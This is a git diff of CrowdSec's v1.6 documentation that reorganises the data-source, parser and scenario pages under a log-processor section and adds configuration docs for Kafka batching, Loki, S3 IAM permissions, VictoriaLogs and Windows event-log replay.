diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kafka.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kafka.md
similarity index 60%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kafka.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kafka.md
index f0092154c..23d9f4859 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kafka.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kafka.md
@@ -35,6 +35,30 @@ labels:
type: nginx
```
+Adding a batch configuration:
+
+```yaml
+source: kafka
+brokers:
+ - "localhost:9093"
+topic: "my-topic"
+timeout: 5
+tls:
+ insecure_skip_verify: true
+ client_cert: /path/kafkaClient.certificate.pem
+ client_key: /path/kafkaClient.key
+ ca_cert: /path/ca.crt
+labels:
+ type: nginx
+batch:
+ min_bytes: 1024 # 1KB
+ max_bytes: 1048576 # 1MB
+ max_wait: 5s
+ queue_size: 1000
+ commit_interval: 1s
+```
+
+
:::info
The reader will always start from the latest offset.
:::
@@ -60,7 +84,7 @@ Required.
The consumer group id to use.
-Cannot be used with `partition`.
+Cannot be used with `partition`.
:::warning
It is highly recommended to set this value, or crowdsec will only read logs from the 1st partition of the topic.
@@ -72,6 +96,12 @@ Read messages from the given partition. Mostly useful for debugging.
Cannot be used with `group_id`.
+### `timeout`
+
+Maximum time to wait for new messages before returning an empty read.
+
+Default: 5
+
### `tls.insecure_skip_verify`
To disable security checks on the certificate.
@@ -96,6 +126,35 @@ The CA certificate path.
Optional, when you want to enable TLS with client certificate.
+### `batch.min_bytes`
+
+Minimum number of bytes to accumulate in the fetch buffer before returning results.
+
+Default: 1
+
+### `batch.max_bytes`
+
+Maximum number of bytes to fetch in one go.
+
+Default: 1048576 (1MB)
+
+### `batch.max_wait`
+
+Maximum time to wait before returning a fetch, even if `batch.min_bytes` isn’t reached.
+
+Default: 250ms
+
+### `batch.queue_size`
+
+Maximum number of messages to buffer internally before processing.
+
+Default: 100
+
+### `batch.commit_interval`
+
+Time interval between automatic commits of consumer offsets.
+
+Default: 0 (commit after every fetch)
### `source`
@@ -104,4 +163,3 @@ Must be `kafka`
## DSN and command-line
This datasource does not support acquisition from the command line.
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kinesis.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kinesis.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kinesis.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kinesis.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kubernetes_audit.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kubernetes_audit.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/kubernetes_audit.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/kubernetes_audit.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/loki.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/loki.md
similarity index 74%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/loki.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/loki.md
index feafdf4a3..275c491bc 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/loki.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/loki.md
@@ -70,6 +70,14 @@ The retry interval at startup before giving on loki.
Defaults to `10 seconds`.
+### `no_ready_check`
+
+> note : When using Loki hosted in Grafana Cloud, the `/ready` endpoint does not exist, preventing CrowdSec from starting.
+
+To bypass the readiness check.
+
+Defaults to `false`.
+
### `auth`
Login/password authentication for loki, in the format:
@@ -89,21 +97,31 @@ Default to `30 seconds`.
## DSN and command-line
-All the parameters above are available via DNS (one-shot mode), plus the following ones:
+All the parameters above are available via DSN (one-shot mode), plus the following ones:
### `ssl`
if present, scheme will be set to `https`
+```bash
+crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&ssl=true'
+```
+
### `since`
Allows to set the "since" duration for loki query.
+Expects a valid [Go duration](https://pkg.go.dev/time#ParseDuration)
+
+```bash
+crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&since=1d'
+```
+
### `log_level`
Set the `log_level` for loki datasource.
```bash
-crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}'
+crowdsec -type foobar -dsn 'loki://login:password@localhost:3102/?query={server="demo"}&log_level=debug'
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/s3.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/s3.md
similarity index 69%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/s3.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/s3.md
index ab3ae5627..8b0772ae7 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/s3.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/s3.md
@@ -14,6 +14,7 @@ To monitor a S3 bucket detecting new objects from a SQS queue:
source: s3
polling_method: sqs
sqs_name: test-sqs-s3-acquis
+use_time_machine: true
labels:
type: foo
```
@@ -24,10 +25,15 @@ source: s3
polling_method: list
bucket_name: my_bucket
polling_interval: 30
+use_time_machine: true
labels:
type: foo
```
+:::warning
+It is **strongly recommended** to set `use_time_machine: true` when using the S3 data source. Since files from S3 are not read in real time, the parser must rely on the timestamps within the log lines themselves to process events accurately.
+:::
+
:::warning
The `list` polling method is mostly intended for testing purposes, and its usage is not recommended in production.
It won't work well with moderately big buckets (tens of thousands of files), as the listing operation is slow.
@@ -61,7 +67,7 @@ Required when `polling_method` is `sqs`.
### `sqs_format`
Format of the body inside the SQS messages.
-Can be `eventbridge` or `s3notification`.
+Can be `eventbridge`, `s3notification` or `sns`.
If not set, the Security Engine will automatically select the format based on the first valid event received from the queue.
@@ -127,4 +133,41 @@ You can specify the `log_level` parameter to change the log level for the acquis
crowdsec -type syslog -dsn s3://my_bucket/my_prefix/foo.log?log_level=debug
```
-AWS SDK behaviour can be configured with the standard AWS environment variables.
\ No newline at end of file
+AWS SDK behaviour can be configured with the standard AWS environment variables.
+
+
+## IAM Permissions
+
+Because the component needs to interact with AWS resources, it need the proper permissions.
+
+Here is the set of required permissions:
+```json
+{
+ "Statement": [
+ {
+ "Action": [
+ "sqs:ReceiveMessage",
+ "sqs:DeleteMessage",
+ "sqs:GetQueueAttributes",
+ "sqs:GetQueueUrl",
+ "sqs:ListDeadLetterSourceQueues",
+ "sqs:ListQueues"
+ ],
+ "Effect": "Allow",
+ "Resource": "arn:aws:sqs:::test-sqs-s3-acquis"
+ },
+ {
+ "Effect": "Allow",
+ "Action": [
+ "s3:DescribeJob",
+ "s3:Get*",
+ "s3:List*"
+ ],
+ "Resource": "arn:aws:s3:::my_bucket:*"
+ }
+ ],
+ "Version": "2012-10-17"
+}
+```
+
+For the permissions, we recommend to restrict the S3 permissions to read only operations, to avoid the ability to destroy logs from the CrowdSec agent. If you are using S3 polling, the SQS part of the permissions can be omitted.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/syslog_service.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/syslog_service.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/syslog_service.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/syslog_service.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/troubleshoot.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/troubleshoot.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/troubleshoot.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/troubleshoot.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/victorialogs.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/victorialogs.md
new file mode 100644
index 000000000..01ac280b1
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/victorialogs.md
@@ -0,0 +1,118 @@
+---
+id: victorialogs
+title: VictoriaLogs
+---
+
+This module allows the `Security Engine` to acquire logs from VictoriaLogs query.
+
+## Configuration example
+
+This will allow to read logs from VictoriaLogs, using the query `app:nginx`.
+```yaml
+source: victorialogs
+mode: tail
+log_level: info
+url: http://localhost:9428/
+limit: 1000
+query: |
+ app:nginx
+auth:
+ username: something
+ password: secret
+labels:
+ type: nginx
+```
+
+:::info
+The reader will always start at "now" for `tail` mode.
+:::
+
+Look at the `configuration parameters` to view all supported options.
+
+## Parameters
+
+### `mode`
+
+Mode to fetch the logs, supported values: `tail` and `cat`.
+
+Defaults to `tail`.
+
+### `url`
+
+The VictoriaLogs URL to connect to.
+
+Required.
+
+### `prefix`
+
+The VictoriaLogs prefix (present in http path, useful if VictoriaLogs is behind a reverse-proxy).
+
+Defaults to `/`.
+
+### `query`
+
+The [VictoriaLogs query](https://docs.victoriametrics.com/victorialogs/logsql/).
+
+Required.
+
+Note that `tail` requests have limitations for operators used query. See [this doc](https://docs.victoriametrics.com/victorialogs/querying/#live-tailing) for the details.
+
+### `limit`
+
+The maximum number of messages to be retried from VictoriaLogs at once.
+
+### `headers`
+
+Allows you to specify headers to be sent to VictoriaLogs, in the format:
+
+```yaml
+headers:
+ foo: bar
+ AccountID: 0
+ ProjectID: 0
+```
+
+See this doc for more information: [VictoriaLogs headers](https://docs.victoriametrics.com/victorialogs/querying/#http-api)
+
+### `wait_for_ready`
+
+The retry interval at startup before giving on VictoriaLogs.
+
+Defaults to `10 seconds`.
+
+### `auth`
+
+Login/password authentication for VictoriaLogs, in the format:
+
+```yaml
+auth:
+ username: someone
+ password: something
+```
+
+### `max_failure_duration`
+
+The maximum duration VictoriaLogs is allowed to be unavailable (once startup is successful) before giving up on the data source.
+
+Default to `30 seconds`.
+
+
+## DSN and command-line
+
+All the parameters above are available via DNS (one-shot mode), plus the following ones:
+
+### `ssl`
+
+if present, scheme will be set to `https`
+
+### `since`
+
+Allows to set the "start" duration for VictoriaLogs query.
+
+### `log_level`
+
+Set the `log_level` for VictoriaLogs datasource.
+
+```bash
+crowdsec -type foobar -dsn 'victorialogs://login:password@localhost:9428/?query=server:"demoVictoriaLogsVictoriaLogs"'
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/windows_event_log.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/windows_event_log.md
similarity index 59%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/windows_event_log.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/windows_event_log.md
index a6665fc0d..34d98c9d1 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/windows_event_log.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/windows_event_log.md
@@ -65,4 +65,51 @@ You can refer to the Windows documentation for more informations: https://docs.m
Pretty name to use for the datasource in the metrics (`cscli metrics`).
-This parameter is optional, but strongly recommanded, as by default the full xpath query will be displayed in the metrics, which can be hard to read.
\ No newline at end of file
+This parameter is optional, but strongly recommanded, as by default the full xpath query will be displayed in the metrics, which can be hard to read.
+
+## DSN and command-line
+
+This module supports acquisition directly from the command line, to replay content from event files.
+
+A single wineventlog URI is accepted with the `-dsn` parameter:
+
+```bash
+crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx
+```
+
+### Supported parameters
+
+#### `log_level`
+
+Change the log level for the acquisition:
+
+```bash
+crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?log_level=debug
+```
+
+#### `event_id`
+
+Only process events with this ID.
+
+This parameter can be specified multiple times to filter on multiple IDs.
+
+```bash
+crowdsec -type sysmon -dsn wineventlog://C:\\path\\to\\file.evtx?event_id=1&event_id=2
+```
+
+#### `event_level`
+
+Only process events with this level.
+
+Must be a number between 0 and 5.
+
+The mapping between the number and the textual representation of the level is:
+
+ Text | Number
+------|-----------
+ INFORMATION | 0
+ CRITICAL | 1
+ ERROR | 2
+ WARNING | 3
+ INFORMATION | 4
+ VERBOSE | 5
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/intro.mdx b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/intro.mdx
new file mode 100644
index 000000000..32df210a9
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/intro.mdx
@@ -0,0 +1,89 @@
+---
+id: intro
+title: Introduction
+sidebar_position: 1
+---
+
+The Log Processor is one of the core component of the Security Engine to:
+
+- Read logs from [Data Sources](log_processor/data_sources/introduction.md) in the form of Acquistions.
+- Parse the logs and extract relevant information using [Parsers](log_processor/parsers/introduction.mdx).
+- Enrich the parsed information with additional context such as GEOIP, ASN using [Enrichers](log_processor/parsers/enricher.md).
+- Monitor the logs for patterns of interest known as [Scenarios](log_processor/scenarios/introduction.mdx).
+- Push alerts to the Local API (LAPI) for alert/decisions to be stored within the database.
+
+!TODO: Add diagram of the log processor pipeline
+- Read logs from datasources
+- Parse the logs
+- Enrich the parsed information
+- Monitor the logs for patterns of interest
+
+
+## Introduction
+
+The Log Processor is an internal core component of the Security Engine in charge of reading logs from Data Sources, parsing them, enriching them, and monitoring them for patterns of interest.
+
+Once a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database.
+
+All subcategories below are related to the Log Processor and its functionalities. If you are utilizing a multi server architecture, you will only need to configure the functionality that you want to use on the Log Processor.
+
+## Data Sources
+
+Data Sources are individual modules that can be loaded at runtime by the Log Processor to read logs from various sources. To use a Data Source, you will need to create an acquisition configuration file.
+
+### Acquistions
+
+Acquisitions are the configuration files that define how the Log Processor should read logs from a Data Source. Acquisitions are defined in YAML format and are loaded by the Log Processor at runtime.
+
+We have two ways to define Acquisitions within the [configuration directory](/u/troubleshooting/security_engine#where-is-configuration-stored) :
+
+- `acquis.yaml` file: This used to be only place to define Acquisitions prior to `1.5.0`. This file is still supported for backward compatibility.
+- `acquis.d` folder: This is a directory where you can define multiple Acquisitions in separate files. This is useful when you want to auto generate files using an external application such as ansible.
+
+```yaml title="Example Acquisition Configuration"
+## /etc/crowdsec/acquis.d/file.yaml
+source: file ## The Data Source module to use
+filenames:
+ - /tmp/foo/*.log
+ - /var/log/syslog
+labels:
+ type: syslog
+```
+
+For more information on Data Sources and Acquisitions, see the [Data Sources](log_processor/data_sources/introduction.md) documentation.
+
+## Collections
+
+Collections are used to group together Parsers, Scenarios, and Enrichers that are related to a specific application. For example the `crowdsecurity/nginx` collection contains all the Parsers, Scenarios, and Enrichers that are needed to parse logs from an NGINX web server and detect patterns of interest.
+
+You can see all available collections on the [Hub](https://app.crowdsec.net/hub/collections).
+
+### Parsers
+
+The parsing pipeline is broken down into multiple stages:
+
+- `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on.
+- `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](log_processor/scenarios/introduction.mdx).
+- `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc.
+
+You can see more information on Parsers in the [documentation](log_processor/parsers/introduction.mdx).
+
+### Scenarios
+
+Scenarios are the patterns of interest that the Log Processor is monitoring for. When a pattern of interest is detected, the Log Processor will push alerts to the Local API (LAPI) for alert/decisions to be stored within the database.
+
+The patterns can be as simple as tracking the number of failed login attempts or as complex as tracking logging in from multiple countries within a short period of time which can be a indicator of a compromised account or VPN usage.
+
+The community provides a number of scenarios on the [Hub](https://hub.crowdsec.net/) that you can install and use. If you would like to create your own, see the [Scenarios](log_processor/scenarios/introduction.mdx) documentation.
+
+### whitelists
+
+Whitelists are used to exclude certain events from being processed by the Log Processor. For example, you may want to exclude certain IP addresses from being processed by the Log Processor.
+
+You can see more information on Whitelists in the [documentation](log_processor/whitelist/introduction.md).
+
+### Alert Context
+
+Alert Context is additional context that can sent with an alert to the LAPI. This context can be shown locally via `cscli` or within the [CrowdSec Console](https://app.crowdsec.net/signup) if you opt in to share context when you enroll your instance.
+
+You can read more about Alert Context in the [documentation](log_processor/alert_context/intro.md).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/create.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/create.md
similarity index 95%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/parsers/create.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/create.md
index 52d168f0e..453cce2d6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/create.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/create.md
@@ -113,10 +113,10 @@ statics:
value: yes
```
-- a [filter](/parsers/format.md#filter) : if the expression is `true`, the event will enter the parser, otherwise, it won't
-- a [onsuccess](/parsers/format.md#onsuccess) : defines what happens when the event was successfully parsed : shall we continue ? shall we move to next stage ? etc.
+- a [filter](/log_processor/parsers/format.md#filter) : if the expression is `true`, the event will enter the parser, otherwise, it won't
+- a [onsuccess](/log_processor/parsers/format.md#onsuccess) : defines what happens when the event was successfully parsed : shall we continue ? shall we move to next stage ? etc.
- a `name` & a `description`
-- some [statics](/parsers/format.md#statics) that will modify the event
+- some [statics](/log_processor/parsers/format.md#statics) that will modify the event
- a `debug` flag that allows to enable local debugging information
- a `grok` pattern to capture some data in logs
@@ -223,7 +223,7 @@ Various changes have been made here :
- We created to patterns to capture the two relevant type of log lines, Using an [online grok debugger](https://grokdebug.herokuapp.com/) or an [online regex debugger](https://www.debuggex.com/) [2]
)
- We keep track of the username and the source_ip (Please note that setting the source_ip in `evt.Meta.source_ip` and `evt.Parsed.source_ip` is important [1])
-- We setup various [statics](/parsers/format.md#statics) information to classify the log type [3]
+- We setup various [statics](/log_processor/parsers/format.md#statics) information to classify the log type [3]
Let's run out tests again :
@@ -289,7 +289,7 @@ line: Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 't
We have now a fully functional parser for myservice logs !
We can either deploy it to our production systems to do stuff, or even better, contribute to the hub !
-If you want to know more about directives and possibilities, take a look at [the parser reference documentation](/parsers/format.md) !
+If you want to know more about directives and possibilities, take a look at [the parser reference documentation](/log_processor/parsers/format.md) !
See as well [this blog article](https://crowdsec.net/blog/how-to-write-crowdsec-parsers-and-scenarios) on the topic.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/enricher.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/enricher.md
similarity index 90%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/parsers/enricher.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/enricher.md
index 7ae6e3aa8..f9d433212 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/enricher.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/enricher.md
@@ -7,7 +7,7 @@ sidebar_position: 4
# Enrichers
-Enrichers are [parsers](/parsers/introduction.mdx) that can rely on external methods to provide extra contextual information to the event. The enrichers are usually in the `s02-enrich` [stage](/parsers/introduction.mdx#stages) (after most of the parsing happened).
+Enrichers are [parsers](/log_processor/parsers/introduction.mdx) that can rely on external methods to provide extra contextual information to the event. The enrichers are usually in the `s02-enrich` [stage](/log_processor/parsers/introduction.mdx#stages) (after most of the parsing happened).
Enrichers functions should all accept a string as a parameter, and return an associative string array, that will be automatically merged into the `Enriched` map of the [`Event`](/expr/event.md).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/format.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/format.md
similarity index 98%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/parsers/format.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/format.md
index a38c25b84..f81ace5e5 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/format.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/format.md
@@ -28,7 +28,7 @@ statics:
expression: "evt.Parsed.src_ip"
```
-The parser nodes are processed sequentially based on the alphabetical order of [stages](/parsers/introduction.mdx#stages) and subsequent files.
+The parser nodes are processed sequentially based on the alphabetical order of [stages](/log_processor/parsers/introduction.mdx#stages) and subsequent files.
If the node is considered successful (grok is present and returned data or no grok is present) and "onsuccess" equals to `next_stage`, then the event is moved to the next stage.
## Parser trees
@@ -511,4 +511,4 @@ A parser is considered "successful" if :
### Patterns documentation
-You can find [exhaustive patterns documentation here](/parsers/patterns-documentation.md).
+You can find [exhaustive patterns documentation here](/log_processor/parsers/patterns-documentation.md).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/introduction.mdx b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/introduction.mdx
new file mode 100644
index 000000000..46abea8bd
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/introduction.mdx
@@ -0,0 +1,86 @@
+---
+id: intro
+title: Introduction
+sidebar_position: 1
+---
+
+import useBaseUrl from '@docusaurus/useBaseUrl';
+
+
+## Parser
+
+
+A parser is a YAML configuration file that describes how a string must be parsed. Said string can be a log line, or a field extracted from a previous parser.
+
+While a lot of parsers rely on the **GROK** approach (a.k.a regular expression named capture groups), parsers can also use [expressions](/expr/intro.md) to perform parsing on specific data (ie. json), [refer to external methods for enrichment](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or even [perform whitelisting](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists.md).
+
+The [event](/expr/event.md) enters the parser, and might exit successfully or not:
+
+
+
+
+
+
+
+
+
+## Stages
+
+Parsers are organized into stages to allow pipelines and branching in parsing. An event can go to the next stage if at least one parser in the given stage parsed it successfully while having `onsuccess` set to `next_stage`. Otherwise, the event is considered unparsed and will exit the pipeline (and be discarded):
+
+
+
+
+
+
+
+The parsing pipeline is broken down into multiple stages:
+
+- `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on.
+- `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](log_processor/scenarios/introduction.mdx).
+- `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc.
+
+### `s00-raw`
+
+This stage is responsible for normalizing logs from various [Data Sources](log_processor/data_sources/introduction.md) into a predictable format for `s01-parse` and `s02-enrich` to work on.
+
+For example if you have a `syslog` Data Source and a `container` Data Source writing the same application log lines you wouldnt want `s01-parse` to handle this logic twice, since `s00-raw` can normalize the logs into a predictable format.
+
+For most instances we have already created these `s00-raw` parsers for you are available to view on the [Hub](https://hub.crowdsec.net/).
+
+### `s01-parse`
+
+The stage is responsible for extracting relevant information from the normalized logs based on the application type.
+
+The application type is defined in different ways based on the Data Source. Please refer to the [Data Sources](log_processor/data_sources/introduction.md) documentation for more information.
+
+We list all available applications we support on the [Hub](https://hub.crowdsec.net/) and within the readme of the collection our users provide an example Acquisition configuration.
+
+### `s02-enrich`
+
+The aim of this stage is to enrich the extracted information with additional context such as GEOIP, ASN etc.
+
+However, the stage can also be used to perform whitelist checks, however, we have dedicated documentation for this [here](log_processor/whitelist/introduction.md).
+
+Currently we have a few enrichers available on the [Hub](https://hub.crowdsec.net/), that are installed by default so you dont need to worry about this stage unless you want to create your own.
+
+## Postoverflows
+
+Once a scenario overflows, the resulting event is going to be processed by a distinct set of parsers, called "postoverflows".
+
+Those parsers are located in `/etc/crowdsec/postoverflows/` and typically contain additional whitelists, a [common example is to whitelist decisions coming from some specific FQDN](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors).
+
+Usually, those parsers should be kept for "expensive" parsers that might rely on external services.
+
+----
+
+
+
+See the [Hub](https://app.crowdsec.net/hub/configurations) to explore parsers, or see below some examples:
+
+ - [apache2 access/error log parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/apache2-logs)
+ - [iptables logs parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/iptables-logs)
+ - [http logs post-processing](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/http-logs)
+
+The parsers usually reside in `/etc/crowdsec/parsers//`.
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/patterns-documentation.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/patterns-documentation.md
similarity index 99%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/parsers/patterns-documentation.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/patterns-documentation.md
index cb0cac0b4..932a8ace2 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/parsers/patterns-documentation.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/parsers/patterns-documentation.md
@@ -666,7 +666,7 @@ Pattern :
Pattern :
```
-[a-zA-Z][a-zA-Z0-9_.+-=:]+
+[a-zA-Z0-9_.+-=:]+
```
## URIPATHPARAM
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/create.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/create.md
similarity index 87%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/create.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/create.md
index 45467a7ae..a2fd370b4 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/create.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/create.md
@@ -126,16 +126,16 @@ We filter on `evt.Meta.log_type == 'myservice_failed_auth'` because in the parse
We have the following fields:
-- a [type](/scenarios/format.md#type): the type of bucket to use (trigger or leaky).
-- a [name](/scenarios/format.md#name)
-- a [description](/scenarios/format.md#description)
-- a [filter](/scenarios/format.md#type): the filter to apply on events to be filled in this bucket.
-- a [leakspeed](/scenarios/format.md#leakspeed)
-- a [capacity](/scenarios/format.md#capacity): the number of events in the bucket before it overflows.
-- a [groupby](/scenarios/format.md#groupby): a field from the event to partition the bucket. It is often the `source_ip` of the event.
-- a [blackhole](/scenarios/format.md#blackhole): the number of minute to not retrigger this scenario for the same `groupby` field.
-- a [reprocess](/scenarios/format.md#reprocess): ingest the alert in crowdsec for further processing.
-- some [labels](/scenarios/format.md#labels): Some labels are mandatory and the scenario will not be validated by the Hub if they are missing. Don't forget to set `remediation: true` if you want the IP to be blocked by bouncers.
+- a [type](/log_processor/scenarios/format.md#type): the type of bucket to use (trigger or leaky).
+- a [name](/log_processor/scenarios/format.md#name)
+- a [description](/log_processor/scenarios/format.md#description)
+- a [filter](/log_processor/scenarios/format.md#type): the filter to apply on events to be filled in this bucket.
+- a [leakspeed](/log_processor/scenarios/format.md#leakspeed)
+- a [capacity](/log_processor/scenarios/format.md#capacity): the number of events in the bucket before it overflows.
+- a [groupby](/log_processor/scenarios/format.md#groupby): a field from the event to partition the bucket. It is often the `source_ip` of the event.
+- a [blackhole](/log_processor/scenarios/format.md#blackhole): the number of minute to not retrigger this scenario for the same `groupby` field.
+- a [reprocess](/log_processor/scenarios/format.md#reprocess): ingest the alert in crowdsec for further processing.
+- some [labels](/log_processor/scenarios/format.md#labels): Some labels are mandatory and the scenario will not be validated by the Hub if they are missing. Don't forget to set `remediation: true` if you want the IP to be blocked by bouncers.
We can then "test" our scenario like this :
@@ -252,7 +252,7 @@ line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'admin' f
We have now a fully functional scenario for myservice to detect brute forces!
We can either deploy it to our production systems to do stuff, or even better, contribute to the hub !
-If you want to know more about directives and possibilities, take a look at [the scenario reference documentation](/scenarios/format.md) !
+If you want to know more about directives and possibilities, take a look at [the scenario reference documentation](/log_processor/scenarios/format.md) !
See as well [this blog article](https://crowdsec.net/blog/how-to-write-crowdsec-parsers-and-scenarios) on the topic.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/debugging.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/debugging.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/debugging.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/debugging.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/format.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/format.md
similarity index 96%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/format.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/format.md
index 9400312d9..d7e8ff165 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/scenarios/format.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/scenarios/format.md
@@ -488,8 +488,14 @@ The chance between 0 and 3 that the attacker behind the attack can spoof its ori
#### `confidence`
>type: int [0-3]
-The confidence note between 0 and 3 that the scenario will not trigger false positive.
-0 means no confidence and 3 means high confident.
+The confidence score ranges from 0 to 3, indicating the likelihood that the scenario will not produce a false positive.
+
+A lower score suggests that the action might not be malicious, while a higher score indicates higher confidence that the scenario identified malicious behavior.
+
+- `0`: The scenario is likely to produce false positives, so it is not reliable for identifying malicious behavior.
+- `1`: The scenario may produce false positives and is not highly reliable for identifying malicious behavior.
